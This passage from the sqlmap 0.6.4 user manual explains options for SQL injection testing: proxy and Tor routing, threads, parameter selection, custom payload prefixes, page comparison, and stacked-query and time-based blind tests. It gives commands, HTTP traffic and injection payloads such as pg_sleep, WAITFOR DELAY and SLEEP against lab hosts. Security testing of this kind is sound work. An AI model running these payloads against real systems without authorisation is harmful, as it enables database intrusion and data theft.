Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Authorization: Digest username="testuser", realm="Testing digest authentication",
|
|
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
|
|
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
|
|
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP proxy</H3>
|
|
|
|
<P>Option: <CODE>--proxy</CODE></P>
|
|
|
|
<P>It is possible to provide an anonymous HTTP proxy address to pass by the
|
|
HTTP requests to the target URL. The syntax of HTTP proxy value is
|
|
<CODE>http://url:port</CODE>.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
|
|
--proxy "http://192.168.1.47:3128"
|
|
|
|
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
|
|
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
|
|
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
|
|
back-end DBMS: PostgreSQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Instead of using a single anonymous HTTP proxy server to pass by, you can
|
|
configure a
|
|
<A HREF="http://tor.eff.org">Tor client</A> together
|
|
with
|
|
<A HREF="http://www.privoxy.org">Privoxy</A> on your machine
|
|
as explained on the
|
|
<A HREF="http://tor.eff.org/docs/tor-doc-unix.html.en">Tor client guide</A> then run sqlmap as follows:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
|
|
--proxy "http://192.168.1.47:8118"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that <CODE>8118</CODE> is the default Privoxy port, adapt it to your
|
|
settings.</P>
|
|
|
|
|
|
<H3>Concurrent HTTP requests</H3>
|
|
|
|
<P>Option: <CODE>--threads</CODE></P>
|
|
|
|
<P>It is possible to specify the number of maximum concurrent HTTP requests
|
|
that sqlmap can start when it uses the blind SQL injection technique to
|
|
retrieve the query output.
|
|
This feature relies on the
|
|
<A HREF="http://en.wikipedia.org/wiki/Multithreading">multithreading</A> concept and inherits both its pro and its cons.</P>
|
|
|
|
<P>Examples on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
|
|
--current-user --threads 3
|
|
|
|
[...]
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:18] [INFO] fetching current user
|
|
[hh:mm:18] [INFO] retrieving the length of query output
|
|
[hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:18] [INFO] retrieved: 18
|
|
[hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:19] [INFO] starting 3 threads
|
|
[hh:mm:19] [INFO] retrieved: testuser@localhost
|
|
[hh:mm:19] [INFO] performed 126 queries in 0 seconds
|
|
current user: 'testuser@localhost'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap first calculates the length of the query output,
|
|
then starts three threads. Each thread is assigned to retrieve one
|
|
character of the query output. The thread then ends after up to seven
|
|
HTTP requests, the maximum requests to retrieve a query output character
|
|
with the blind SQL injection bisection algorithm implemented in sqlmap.</P>
|
|
|
|
<P>Note that the multithreading option is not needed if the target is affected
|
|
by an inband SQL injection vulnerability and the <CODE>--union-use</CODE>
|
|
option has been provided.</P>
|
|
|
|
|
|
<H3>Delay in seconds between each HTTP request</H3>
|
|
|
|
<P>Option: <CODE>--delay</CODE></P>
|
|
|
|
<P>It is possible to specify a number of seconds to wait between each HTTP
|
|
request. The valid value is a float, for instance 0.5 means half a second.</P>
|
|
|
|
|
|
<H3>Seconds to wait before timeout connection</H3>
|
|
|
|
<P>Option: <CODE>--timeout</CODE></P>
|
|
|
|
<P>It is possible to specify a number of seconds to wait before considering
|
|
the HTTP request timed out. The valid value is a float, for instance
|
|
10.5 means ten seconds and a half.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.4">5.4</A> <A HREF="#toc5.4">Injection</A>
|
|
</H2>
|
|
|
|
<P>These options can be used to specify which parameters to test for, provide
|
|
custom injection payloads and how to parse and compare HTTP responses page
|
|
content when using the blind SQL injection technique.</P>
|
|
|
|
<H3>Testable parameter(s)</H3>
|
|
|
|
<P>Option: <CODE>-p</CODE></P>
|
|
|
|
<P>By default sqlmap tests all <CODE>GET</CODE> parameters, <CODE>POST</CODE>
|
|
parameters, HTTP <CODE>Cookie</CODE> header values and HTTP <CODE>User-Agent</CODE>
|
|
header value for dynamicity and SQL injection vulnerability, but it is
|
|
possible to manually specificy the parameter(s) you want sqlmap to perform
|
|
tests on comma separeted in order to skip dynamicity tests and perform SQL
|
|
injection test and inject directly only against the provided parameter(s).</P>
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \
|
|
-p "id"
|
|
|
|
[hh:mm:48] [INFO] testing connection to the target url
|
|
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:49] [INFO] url is stable
|
|
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Or, if you want to provide more than one parameter, for instance:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
|
|
-p "cat,id"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also test only the HTTP <CODE>User-Agent</CODE> header.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
|
|
-p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
|
|
|
|
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
|
|
[hh:mm:40] [INFO] testing connection to the target url
|
|
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:41] [INFO] url is stable
|
|
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
|
|
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
|
|
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:41] [INFO] testing MySQL
|
|
[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
|
|
[hh:mm:41] [INFO] retrieved: 44
|
|
[hh:mm:41] [INFO] performed 20 queries in 0 seconds
|
|
[hh:mm:41] [INFO] confirming MySQL
|
|
[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
|
|
[hh:mm:41] [INFO] retrieved: 1
|
|
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:41] [INFO] retrieved: 4
|
|
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Force the database management system name</H3>
|
|
|
|
<P>Option: <CODE>--dbms</CODE></P>
|
|
|
|
<P>By default sqlmap automatically detects the web application's back-end
|
|
database manangement system.
|
|
At the moment the fully supported database management system are four:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>MySQL</LI>
|
|
<LI>Oracle</LI>
|
|
<LI>PostgreSQL</LI>
|
|
<LI>Microsoft SQL Server</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>It is possible to force the name if you already know it so that sqlmap
|
|
will skip the fingerprint with an exception for MySQL to only identify if
|
|
it is MySQL < 5.0 or MySQL >= 5.0.
|
|
To avoid also this check you can provide instead <CODE>MySQL 4</CODE> or
|
|
<CODE>MySQL 5</CODE>.</P>
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \
|
|
--dbms "PostgreSQL"
|
|
|
|
[...]
|
|
[hh:mm:31] [DEBUG] skipping to test for MySQL
|
|
[hh:mm:31] [DEBUG] skipping to test for Oracle
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>In case you provide <CODE>--fingerprint</CODE> together with <CODE>--dbms</CODE>,
|
|
sqlmap will only perform the extensive fingerprint for the specified
|
|
database management system, read below for further details.</P>
|
|
|
|
<P>Note that this option is <B>not</B> mandatory and it is strongly
|
|
recommended to use it <B>only if you are absolutely sure</B> about the
|
|
back-end database management system. If you do not know it, let sqlmap
|
|
automatically identify it for you.</P>
|
|
|
|
|
|
<H3>Custom injection payload</H3>
|
|
|
|
<P>Options: <CODE>--prefix</CODE> and <CODE>--postfix</CODE></P>
|
|
|
|
<P>In some circumstances the vulnerable parameter is exploitable only if the
|
|
user provides a postfix to be appended to the injection payload.
|
|
Another scenario where these options come handy presents itself when the
|
|
user already knows that query syntax and want to detect and exploit the
|
|
SQL injection by directly providing a injection payload prefix and/or
|
|
postfix.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page where the SQL query is:
|
|
<CODE>$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
|
|
-p "id" --prefix "'" --postfix "AND 'test'='test"
|
|
|
|
[...]
|
|
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
|
|
[hh:mm:16] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
|
|
%28%27test%27=%27test HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the injection payload for testing for custom injection is:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>which URL decoded is:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
id=1') AND 7433=7433 AND ('test'='test
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>and makes the query syntatically correct to the page query:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>In this simple example, sqlmap could detect the SQL injection and exploit
|
|
it without need to provide a custom injection payload, but sometimes in
|
|
the real world application it is necessary to provide it.</P>
|
|
|
|
|
|
<H3>Page comparison</H3>
|
|
|
|
<P>Options: <CODE>--string</CODE> and <CODE>--regexp</CODE></P>
|
|
|
|
<P>By default the distinction of a True query by a False one (basic concept
|
|
for Inferential blind SQL injection attacks) is done comparing injected
|
|
requests page content MD5 hash with the original not injected page content
|
|
MD5 hash.
|
|
Not always this concept works because sometimes the page content changes at
|
|
each refresh even not injecting anything, for instance when the page has a
|
|
counter, a dynamic advertisment banner or any other part of the HTML which
|
|
is render dynamically and might change in time not only consequently to
|
|
user's input.
|
|
To bypass this limit, sqlmap makes it possible to manually provide a
|
|
string which is <B>always</B> present on the not injected page
|
|
<B>and</B> on all True injected query pages, but that it is <B>not</B>
|
|
on the False ones. This can also be achieved by providing a regular
|
|
expression.
|
|
Such information is easy for an user to retrieve, simply try to inject on
|
|
the affected URL parameter an invalid value and compare original (not
|
|
injected) page content with the injected wrong page content to identify
|
|
which string or regular expression match is on not injected and True page
|
|
only.
|
|
This way the distinction will be based upon string presence or regular
|
|
expression match and not page MD5 hash comparison.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page which content changes
|
|
every second due to a call to PHP function <CODE>time()</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
-v 5
|
|
|
|
[...]
|
|
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:50] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 192.168.1.121:80
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:50 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Connection: close
|
|
Transfer-Encoding: chunked
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996190</p>
|
|
|
|
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 192.168.1.121:80
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:51 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Content-Length: 161
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996191</p>
|
|
|
|
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 192.168.1.121:80
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:51 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Content-Length: 161
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996191</p>
|
|
|
|
[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
|
|
the user's manual paragraph 'Page comparison' for details
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the string after <CODE>Dynamic content</CODE> changes its
|
|
value every second. In the example it is just a call to PHP
|
|
<CODE>time()</CODE> function, but on the real world it is usually much more
|
|
than that.</P>
|
|
|
|
<P>Looking at the HTTP responses page content you can see that the first five
|
|
lines of code do not change at all.
|
|
So choosing for instance the word <CODE>luther</CODE> as an output that is
|
|
on the not injected page content and it is not on the False page content
|
|
(because the query condition returns no output so <CODE>luther</CODE> is not
|
|
displayed on the page content) and passing it to sqlmap, you are able to
|
|
inject anyway.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page which content changes
|
|
every second due to a call to PHP function <CODE>time()</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--string "luther" -v 1
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also specify a regular expression to match rather than a string if
|
|
you prefer.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page which content changes
|
|
every second due to a call to PHP function <CODE>time()</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--regexp "<td>lu[\w][\w]er" -v 1
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target
|
|
URL page content
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, when one of these options is specified, sqlmap skips the
|
|
URL stability test.</P>
|
|
|
|
<P><B>Consider one of these options a must when you are dealing with a page
|
|
which content that changes itself at each refresh without modifying the
|
|
user's input</B>.</P>
|
|
|
|
|
|
<H3>Exclude specific page content</H3>
|
|
|
|
<P>Options: <CODE>--excl-str</CODE> and <CODE>--excl-reg</CODE></P>
|
|
|
|
<P>Another way to get around the dynamicity issue above explained is to exclude
|
|
the dynamic part from the page content before processing it.</P>
|
|
|
|
<P>As you see in the above example the number after <CODE>Dynamic content: </CODE>
|
|
was dynamic and changed each second. To get around of this problem we could
|
|
use the above explained page comparison options or exclude this snippet of
|
|
dynamic text from the page before processing it and comparing it with the
|
|
not injected page.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--excl-reg "Dynamic content: ([\d]+)"
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, when this options is specified, sqlmap skips the URL
|
|
stability test.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.5">5.5</A> <A HREF="#toc5.5">Techniques</A>
|
|
</H2>
|
|
|
|
<H3>Test for stacked queries (multiple statements) support</H3>
|
|
|
|
<P>Option: <CODE>--stacked-test</CODE></P>
|
|
|
|
<P>It is possible to test if the web application technology supports
|
|
<B>stacked queries</B>, multiple statements, on the injectable
|
|
parameter.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
|
|
stacked queries support: None
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>By default PHP builtin function <CODE>mysql_query()</CODE> does not support
|
|
multiple statements.
|
|
Multiple statements is a feature supported by default only by some
|
|
web application technologies in relation to the back-end database
|
|
management system. For instance, as you can see from the next example,
|
|
where PHP does not support them on MySQL, it does on PostgreSQL.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
|
|
stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
|
|
stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Test for time based blind SQL injection</H3>
|
|
|
|
<P>Option: <CODE>--time-test</CODE></P>
|
|
|
|
<P>It is possible to test if the target URL is affected by a <B>Time based
|
|
blind SQL injection</B> vulnerability.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
|
|
condition syntax
|
|
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
|
|
with AND condition syntax
|
|
time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
|
|
condition syntax
|
|
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
|
|
injection with AND condition syntax
|
|
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
|
|
query syntax
|
|
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
|
|
with stacked query syntax
|
|
time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
